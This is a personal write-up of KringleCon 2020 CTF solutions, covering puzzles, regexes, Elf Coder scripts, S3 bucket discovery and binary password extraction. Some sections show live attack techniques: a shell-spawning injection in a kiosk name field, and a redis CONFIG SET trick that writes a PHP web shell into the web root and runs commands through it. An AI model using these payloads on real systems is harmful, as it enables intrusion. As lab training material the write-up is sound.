KringleCon 2020 CTF
I spent some time in KringleCon this year. There were some unique challenges, and I had a good time. Here are some of my solutions.
Objectives
Uncover Santa’s Gift List
Q: There is a photo of Santa’s Desk on that billboard with his personal gift list. What gift is Santa planning on getting Josh Wright for the holidays? Talk to Jingle Ringford at the bottom of the mountain for advice.
Click on the billboard and unswirl the image with an app like GIMP or Photoshop. Santa is planning on getting Josh Wright Proxmark.
Investigate S3 Bucket
Q: When you unwrap the over-wrapped file, what text string is inside the package? Talk to Shinny Upatree in front of the castle for hints on this challenge.
Can you help me? Santa has been experimenting with new wrapping technology, and
we've run into a ribbon-curling nightmare!
We store our essential data assets in the cloud, and what a joy it's been!
Except I don't remember where, and the Wrapper3000 is on the fritz!
Can you find the missing package, and unwrap it all the way?
elf@e557d9ab766e:~$ cd bucket_finder/
elf@e557d9ab766e:~/bucket_finder$ echo wrapper3000 >> wordlist
elf@e557d9ab766e:~/bucket_finder$ ./bucket_finder.rb --download wordlist
http://s3.amazonaws.com/kringlecastle
Bucket found but access denied: kringlecastle
http://s3.amazonaws.com/wrapper
Bucket found but access denied: wrapper
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/
Bucket found but access denied: santa
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
<Downloaded> http://s3.amazonaws.com/wrapper3000/package
elf@e557d9ab766e:~/bucket_finder$ cd wrapper3000/
elf@e557d9ab766e:~/bucket_finder/wrapper3000$ ls
package
elf@e557d9ab766e:~/bucket_finder/wrapper3000$ base64 -d package > a
elf@e557d9ab766e:~/bucket_finder/wrapper3000$ file a
a: Zip archive data, at least v1.0 to extract
elf@e557d9ab766e:~/bucket_finder/wrapper3000$ unzip a
Archive: a
extracting: package.txt.Z.xz.xxd.tar.bz2
elf@e557d9ab766e:~/bucket_finder/wrapper3000$ bunzip2 package.txt.Z.xz.xxd.tar.bz2
elf@e557d9ab766e:~/bucket_finder/wrapper3000$ tar xvf package.txt.Z.xz.xxd.tar
package.txt.Z.xz.xxd
elf@e557d9ab766e:~/bucket_finder/wrapper3000$ xxd -r package.txt.Z.xz.xxd > package.txt.Z.xz
elf@e557d9ab766e:~/bucket_finder/wrapper3000$ unxz package.txt.Z.xz
elf@e557d9ab766e:~/bucket_finder/wrapper3000$ uncompress package.txt.Z
elf@e557d9ab766e:~/bucket_finder/wrapper3000$ cat package.txt
North Pole: The Frostiest Place on Earth
Point-of-Sale Password Recovery
Q: Help Sugarplum Mary in the Courtyard find the supervisor password for the point-of-sale terminal. What’s the password?
Download santa-shop.exe.
noble@heart:~/sec/ctf/kringlecon2020$ 7z x santa-shop.exe
...
noble@heart:~/sec/ctf/kringlecon2020$ ls
'$PLUGINSDIR' santa-shop.exe 'Uninstall santa-shop.exe'
noble@heart:~/sec/ctf/kringlecon2020$ cd '$PLUGINSDIR'/
noble@heart:~/sec/ctf/kringlecon2020/$PLUGINSDIR$ ls
app-64.7z nsExec.dll nsis7z.dll nsProcess.dll SpiderBanner.dll StdUtils.dll System.dll WinShell.dll
noble@heart:~/sec/ctf/kringlecon2020/$PLUGINSDIR$ 7z x app-64.7z
...
noble@heart:~/sec/ctf/kringlecon2020/$PLUGINSDIR/resources$ ls
app.asar app-update.yml elevate.exe
noble@heart:~/sec/ctf/kringlecon2020/$PLUGINSDIR/resources$ npm install -g asar
...
noble@heart:~/sec/ctf/kringlecon2020/$PLUGINSDIR/resources$ mkdir santa-shop
noble@heart:~/sec/ctf/kringlecon2020/$PLUGINSDIR/resources$ asar extract app.asar santa-shop/
noble@heart:~/sec/ctf/kringlecon2020/$PLUGINSDIR/resources$ ls santa-shop/
img index.html main.js package.json preload.js README.md renderer.js style.css
noble@heart:~/sec/ctf/kringlecon2020/$PLUGINSDIR/resources$ grep -ir password santa-shop/
santa-shop/README.md:Remember, if you need to change Santa's passwords, it's at the top of main.js!
santa-shop/main.js:const SANTA_PASSWORD = 'santapass';
santa-shop/main.js:ipcMain.handle('unlock', (event, password) => {
santa-shop/main.js: return (password === SANTA_PASSWORD);
...
Operate the Santavator
Using the objects you find on the ground in different rooms, you can direct the light into the required receptacles. You can use different colored lightbulbs to match the required input for each receptacle. The chart will tell you which colors you need for access to different floors.
Achievements
Kringle Kiosk
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the North Pole!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. Map
2. Code of Conduct and Terms of Use
3. Directory
4. Print Name Badge
5. Exit
Please select an item from the menu by entering a single number.
Anything else might have ... unintended consequences.
Enter choice [1 - 5] 4
Enter your name (Please avoid special characters, they cause some weird errors)...;/bin/bash
_______________________
< Santa's Little Helper >
-----------------------
\
\ \_\_ _/_/
\ \__/
(oo)\_______
(__)\ )\/\
||----w |
|| ||
___ _
/ __| _ _ __ __ ___ ___ ___ | |
\__ \ | +| | / _| / _| / -_) (_-< (_-< |_|
|___/ \_,_| \__|_ \__|_ \___| /__/_ /__/_ _(_)_
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """ |
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
Type 'exit' to return to the menu.
shinny@ca1111ffecf0:~$
Unescape Tmux
Simply run tmux attach
to restore the session.
Elf Coder
//Level 1
elf.moveLeft(10)
elf.moveUp(10)
//Level 2
elf.moveLeft(6)
elf.pull_lever(elf.get_lever(0) + 2)
elf.moveLeft(4)
elf.moveUp(10)
//Level 3
elf.moveTo(lollipop[0])
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[2])
elf.moveUp(1)
//Level 4
for (var i = 0; i < 5; i++) {
elf.moveTo(lollipop[0])
if (i % 2 == 0) {
elf.moveUp(11)
}
}
//Level 5
elf.moveTo(munchkin[0]);
var arr = elf.ask_munch(0);
var answer = arr.filter(function(arr) {
return parseInt(arr) == arr;
});
elf.tell_munch(answer);
elf.moveUp(2)
//Level 6
for (var i = 0; i < 4; i++) {
elf.moveTo(lollipop[i])
}
elf.moveTo(munchkin[0]);
var ask = elf.ask_munch(0);
for (key in ask) {
if (ask[key] == "lollipop") answer = key;
}
elf.tell_munch(answer)
elf.moveUp(2)
REDIS Investigation
We need your help!!
The server stopped working, all that's left is the maintenance port.
To access it, run:
curl http://localhost/maintenance.php
We're pretty sure the bug is in the index page. Can you somehow use the
maintenance page to view the source code for the index page?
player@2de06680fac4:~$ curl http://localhost/maintenance.php
ERROR: 'cmd' argument required (use commas to separate commands); eg:
curl http://localhost/maintenance.php?cmd=help
curl http://localhost/maintenance.php?cmd=mget,example1
player@2de06680fac4:~$ curl http://localhost/maintenance.php?cmd=help
Running: redis-cli --raw -a '<password censored>' 'help'
redis-cli 5.0.3
...
player@2de06680fac4:~$ cat $(find / -name redis.conf 2>/dev/null) | grep pass
cat: /usr/local/etc/redis/redis.conf: Permission denied
requirepass "R3disp@ss"
player@2de06680fac4:~$ redis-cli
127.0.0.1:6379> AUTH R3Disp@ss
(error) ERR invalid password
127.0.0.1:6379> AUTH R3disp@ss
K
127.0.0.1:6379> CONFIG SET dir /var/www/html
OK
127.0.0.1:6379> CONFIG SET dbfilename meep.php
OK
127.0.0.1:6379> SET PAYLOAD "<?php system(\$_GET['cmd']); ?>"
OK
127.0.0.1:6379> SAVE
OK
127.0.0.1:6379>
player@2de06680fac4:~$ curl http://localhost/meep.php?cmd=cat+./index.php --output -
REDIS0009� redis-ver5.0.3�
...
# We found the bug!!
#
# \ /
# .\-/.
# /\ () ()
# \/~---~\.-~^-.
# .-~^-./ | \---.
# { | } \
# .-~\ | /~-.
# / \ A / \
# \/ \/
#
33.6 Kbps
Dial 756-8347 on the phone. After the first sound, select baa DEE brrr. After the response, select aaah. During the next response, select WEWEWwrwrrwrr. After the next sound, select beDURRdunditty. During the last response, select SCHHRRHHRTHRTR.
Speaker UNPrep Door
elf@6c06ba30f090 ~ $ strings door | grep password
/home/elf/doorYou look at the screen. It wants a password. You roll your eyes - the
password is probably stored right in the binary. There's gotta be a
Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r"
Beep boop invalid password
elf@6c06ba30f090 ~ $ ./door
You look at the screen. It wants a password. You roll your eyes - the
password is probably stored right in the binary. There's gotta be a
tool for this...
What do you enter? > Op3nTheD00r
Checking......
Door opened!
SORT-O-MATIC
1. Create a regular expression that will only match any string containing at least one digit.
\d+
2. Create a Regex That Matches 3 or More Alpha Characters Ignoring Case
[a-zA-Z]{3}
3. Create a Regex That Matches Two Consecutive Lowercase a-z or numeric characters.
[a-z0-9]{2}
4. Matches any 2 chars not uppercase A-L or 1-5
[^A-L1-5]{2}
5. Create a regular expression that only matches if the entire string is composed of entirely digits and is at least 3 characters in length.
^\d{3,}$
6. Matches multiple hour:minute:second time formats only
^([0,1,2]?[0-9]:)([0-5][0-9]):[0-6][0-9]$
7. Matches MAC address format only while ignoring case
^([0-9A-Fa-f]{2}:){5}([0-9A-Fa-f]{2})$
8. Matches multiple day, month, and year date formats only
^(0?[1-9]|[12]\d|30|31)[^\w\d\r\n:](0[1-9]|1[0-2])[^\w\d\r\n:](\d{4}|\d{2})$
CAN-Bus Investigation
elf@ea7dd8323134:~$ cat candump.log | sed 's/[\(][0-9]*\.*//g' | cut -d ')' -f 1 > brute-force
elf@ea7dd8323134:~$ while read in; do ./runtoanswer "$in"; done < brute-force > response
elf@ea7dd8323134:~$ cat response | grep "Your answer is" -n
3112:Your answer is correct!
elf@ea7dd8323134:~$ cat response | wc -l
5477
elf@ea7dd8323134:~$ cat response | tail -n 2370 | head
Sorry, that answer is incorrect. Please try again!
Your answer: 122520
Checking....
Your answer is correct!
Your answer: 136388
Checking....
Sorry, that answer is incorrect. Please try again!
elf@ea7dd8323134:~$ ./runtoanswer 122520
Your answer: 122520
Checking....
Your answer is correct!